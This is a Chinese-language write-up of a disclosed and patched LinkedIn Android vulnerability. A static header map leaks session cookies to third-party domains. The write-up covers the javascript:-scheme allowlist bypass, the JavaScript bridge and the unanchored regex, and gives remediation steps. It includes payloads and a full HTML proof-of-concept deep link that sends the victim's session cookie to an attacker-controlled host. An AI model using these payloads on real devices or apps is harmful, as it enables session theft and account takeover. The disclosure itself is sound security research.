一个从未被清理的静态字段、一个缺少锚点的正则表达式,再加上一处无人校验的协议漏洞——这三者叠加,竟能让两次普通的广告点击操作,直接导致用户的领英账号会话被完全接管。
本文将详细介绍国外白帽在领英Android端应用(com.linkedin.android)中发现的一处高危漏洞,该漏洞会导致用户的领英会话Cookie泄露至任意第三方域名。目前该漏洞已通过HackerOne平台上报、经平台研判确认、完成修复并正式公开披露。

核心总结
WebViewerFragment组件会通过一个名为CUSTOM_HEADERS的静态ArrayMap集合加载URL时存储Cookie信息,且该字段在多次URL加载过程中始终不会被清空。若领英官方URL先完成加载(此时领英Cookie已存入该集合),后续在同一组件中加载的任意URL,包括攻击者可控的恶意域名,都会在请求头中继承这些Cookie信息。
该漏洞存在两种利用方式:
- 主动利用:攻击者构造特制深度链接,结合
javascript:协议绕过、JavaScript接口调用和无锚点正则表达式漏洞,强制将受害者的Cookie信息发送至攻击者服务器。 - 被动利用:无需诱导受害者点击恶意链接,用户在领英信息流中点击普通广告的行为,就会触发跨域名的Cookie静默泄露。
漏洞根因
存在漏洞的代码位于WebViewerFragment.loadUrl()方法中:
public final void loadUrl(Uri uri0) {
String s = uri0.toString();
...
if (this.shouldUseCookies) {
CookieManager cookieManager0 = CookieManager.getInstance();
String s2 = cookieManager0.getCookie(s);
ArrayMap arrayMap0 = WebViewerFragment.CUSTOM_HEADERS; // 静态字段
if (s2 != null) {
arrayMap0.put("Cookie", s2);
}
this.webView.loadUrl(s, arrayMap0);
return;
}
...
}
CUSTOM_HEADERS是一个静态字段,在Java中,静态字段隶属于类本身而非类的实例,会在所有实例中持续存在,直到该类被卸载前都不会被垃圾回收机制清理。
漏洞触发流程:
- 该组件加载
https://www.linkedin.com→ 浏览器Cookie管理器返回领英会话Cookie → 存入CUSTOM_HEADERS集合的"Cookie"键名下。 - 同一组件继续加载
https://attacker.com→ Cookie管理器针对该恶意域名返回null(无对应Cookie)→ 但第一步存入的"Cookie"键值对仍保留在静态集合中。 loadUrl(s, arrayMap0)方法执行时,会将领英的Cookie信息作为额外的HTTP请求头,发送至攻击者的服务器。
该漏洞的修复方式其实十分简单:在每次使用该集合前执行清空操作,或直接将静态字段替换为局部变量。但该漏洞的关键价值,在于如何通过外部触发条件,调用到存在漏洞的代码逻辑。
主动利用攻击链
目前不存在可直接打开WebViewerFragment组件的深度链接,想要调用该组件,需要依次利用三处独立的安全弱点,形成完整攻击链。
漏洞利用点1:VerificationWebView中的协议校验漏洞
深度链接https://www.linkedin.com/trust/verification支持接收verificationUrl参数,并会在WebView中加载该参数指向的地址。该链接的处理程序会对目标地址的主机名进行白名单校验:
Uri uri1 = Uri.parse(verificationUrl);
String host = uri1.getHost();
if (!CollectionsKt___CollectionsKt.contains(this.supportedUrls, host)
|| UriUtil.isSuspectedPathTraversalUri(uri1)) {
uri1 = null;
}
主机名的校验逻辑本身无问题,但该程序未对URL协议进行任何校验。Android系统的Uri.parse()方法会将javascript://www.linkedin.com/...这类地址的主机名解析为www.linkedin.com,因此该地址可直接通过白名单校验:
javascript://www.linkedin.com/%0aalert(1)
这里存在一个小问题:应用会在加载目标地址前自动拼接一个查询参数:
Uri.Builder uri$Builder1 = uri$Builder0.appendQueryParameter(
"renderContext", "trustVerificationDeeplink"
);
这会导致攻击者构造的载荷被修改为:
javascript://www.linkedin.com/%0aalert(1)?renderContext=trustVerificationDeeplink
该格式属于无效JavaScript代码,拼接的?renderContext=...会破坏原有语法结构。
绕过方法:在#片段标记前构造一个字符串常量,吸收拼接的参数:
javascript://www.linkedin.com/%0aalert('1#')
应用拼接参数后,载荷变为:
javascript://www.linkedin.com/%0aalert('1?renderContext=trustVerificationDeeplink#')
此时代码恢复有效,拼接的参数会被包含在字符串常量中,而//www.linkedin.com/%0a会被解析为注释语句加换行符,不影响后续代码执行。
漏洞利用点2:可调用WebViewerFragment的JavaScript接口
VerificationWebView组件暴露了一个JavaScript接口:
webView0.addJavascriptInterface(jsInterface, "Android");
该接口包含一个sendWebMessage方法:
@JavascriptInterface
public final Unit sendWebMessage(String s) {
JSONObject jSONObject0 = new JSONObject(s);
verificationWebViewFeature0._receiveWebMessageLiveData.postValue(new Event(jSONObject0));
}
该方法的观察者会解析JSON载荷中的additionalWebViewUrl字段:
String s3 = VerificationWebViewFragment.getNonEmptyString("additionalWebViewUrl", jsonObject);
if (s3 != null) {
WebViewerBundle webViewerBundle0 = WebViewerBundle.create(s3, null, null);
verificationWebViewFragment0.webRouterUtil.launchWebViewer(webViewerBundle0);
}
因此,攻击者可在JavaScript执行环境中调用以下代码:
Android.sendWebMessage(JSON.stringify({
additionalWebViewUrl: "https://www.linkedin.com"
}));
该代码可触发launchWebViewer方法,但想要完成攻击,还需要突破最后一道校验。
漏洞利用点3:URL路由中的无锚点正则表达式
launchWebViewer方法会通过拦截器判断由哪个客户端处理目标URL,其中LinkedInUrlRequestInterceptor拦截器会校验目标URL是否为领英的文章地址:
static {
WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN =
Pattern.compile("(http|https)://www.linkedin(-ei)?.com/pulse/+");
}
public static boolean isLinkedInArticleUrl(String s) {
if (WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN.matcher(s).find()) {
return true;
}
...
}
该正则表达式存在两个问题:使用.find()方法而非.matches()方法,且缺少^起始锚点,这意味着该表达式会在URL字符串的任意位置进行匹配。因此,攻击者只需在任意URL后拼接领英文章的URL格式,即可绕过该校验:
https://attacker.com/http://www.linkedin.com/pulse/1
该操作会强制让存在漏洞的WebViewerFragment组件作为web_viewer客户端,处理该恶意URL。
完整攻击链流程
1. 受害者点击攻击者构造的特制链接
→ 打开trust/verification深度链接,同时加载javascript:恶意载荷
2. JavaScript代码在VerificationWebView中执行
→ 通过javascript://www.linkedin.com/格式绕过主机名校验
→ 利用#片段标记技巧中和应用自动注入的查询参数
3. JavaScript代码调用Android.sendWebMessage()方法
→ 第一次调用:加载领英官方URL https://www.linkedin.com/...
→ 领英Cookie被存入静态集合CUSTOM_HEADERS
4. 延迟一段时间后,执行第二次sendWebMessage()方法调用
→ 加载攻击者服务器URL(路径中拼接/pulse/以绕过正则校验)
→ 静态集合CUSTOM_HEADERS中仍保留领英Cookie,随请求发送至攻击者服务器
5. 攻击者获取受害者的领英会话Cookie → 实现账号接管
被动利用方式(无需钓鱼)
这是该漏洞最具威胁的一点:上述主动利用方式需要诱导受害者点击恶意链接,这也是大多数WebView漏洞的常规利用手段,但本次漏洞的根因(静态集合CUSTOM_HEADERS始终未被清理),让完全被动的攻击成为可能。
领英平台的广告内容均会通过WebViewerFragment组件打开,这意味着:
- 用户在领英信息流中滑动并点击任意领英商业广告 → 领英Cookie被加载至静态集合
CUSTOM_HEADERS中。 - 若用户后续再点击一个由攻击者控制的广告 → 攻击者的服务器会接收到仍存储在静态集合中的领英Cookie信息。
整个过程无需构造特制深度链接、无需搭建钓鱼页面、无任何可疑的重定向操作,仅需用户在正常使用领英的过程中,完成两次普通的广告点击即可。
从取证角度来看,该被动利用方式的隐蔽性极强:若领英平台调查账号被盗事件,主动利用方式会在日志中留下恶意深度链接的痕迹,而被动利用方式不会留下任何异常记录,两次广告点击的行为与正常操作完全一致。
漏洞验证代码(PoC)
部署以下HTML页面,将{COLLABORATOR_HOST}替换为攻击者的域名即可:
<!DOCTYPE html>
<html>
<head>
<title>LinkedIn Cookie Leak PoC</title>
</head>
<body>
<a href="https://www.linkedin.com/trust/verification?verificationUrl=javascript://www.linkedin.com/%250asetTimeout%28%28%29%3D%3E%7BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002f{COLLABORATOR_HOST}%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%22%7D%27%29%7D%2C%201000%29%3BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fwww.linkedin.com%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%23%22%7D%27%29%3B">点击此处</a>
</body>
</html>
验证步骤:
- 在安装了领英Android端应用的设备中打开该页面。
- 点击页面中的“点击此处”链接。
- 领英应用会通过WebView打开该链接。
- 关闭或返回上一页面后,第二个WebView会自动启动,并重定向至攻击者的服务器。
- 查看攻击者服务器的访问日志,可发现
Cookie请求头中包含受害者的领英会话令牌。
若深度链接处理程序并非默认配置,可使用以下基于intent的验证代码:
<a href="intent://www.linkedin.com/trust/verification?verificationUrl=javascript://www.linkedin.com/%250asetTimeout%28%28%29%3D%3E%7BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fhttpbin.org%2Fget%3f%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%22%7D%27%29%7D%2C%201000%29%3BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fwww.linkedin.com%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%23%22%7D%27%29%3B#Intent;scheme=https;component=com.linkedin.android/.urls.DeeplinkActivity;end">intent poc</a>
漏洞修复方案
漏洞根因和攻击链中的各利用点,需要分别进行针对性修复:
根因修复:静态Cookie头泄露问题
- 在每次调用
loadUrl方法前,清空CUSTOM_HEADERS集合;或更优的方式,将该静态字段替换为局部变量。
利用点1修复:协议校验漏洞
- 通过
String.startsWith()方法,强制要求verificationUrl参数仅支持https://(或http://)协议。
利用点2修复:JavaScript接口暴露问题
- 若利用点1完成修复,该接口无需单独修复;但可将
additionalWebViewUrl字段的可访问地址限制为可信域名白名单,实现深度防御。
利用点3修复:无锚点正则表达式问题
- 在
WebViewerUtils类中的正则表达式前添加^起始锚点,确保表达式仅从URL字符串的开头进行匹配。该类中的多个正则表达式均存在相同问题,需一并修复。
原文:https://dphoeniixx.medium.com/normal-usage-of-linkedin-leaks-your-secrets-74aa968850fd

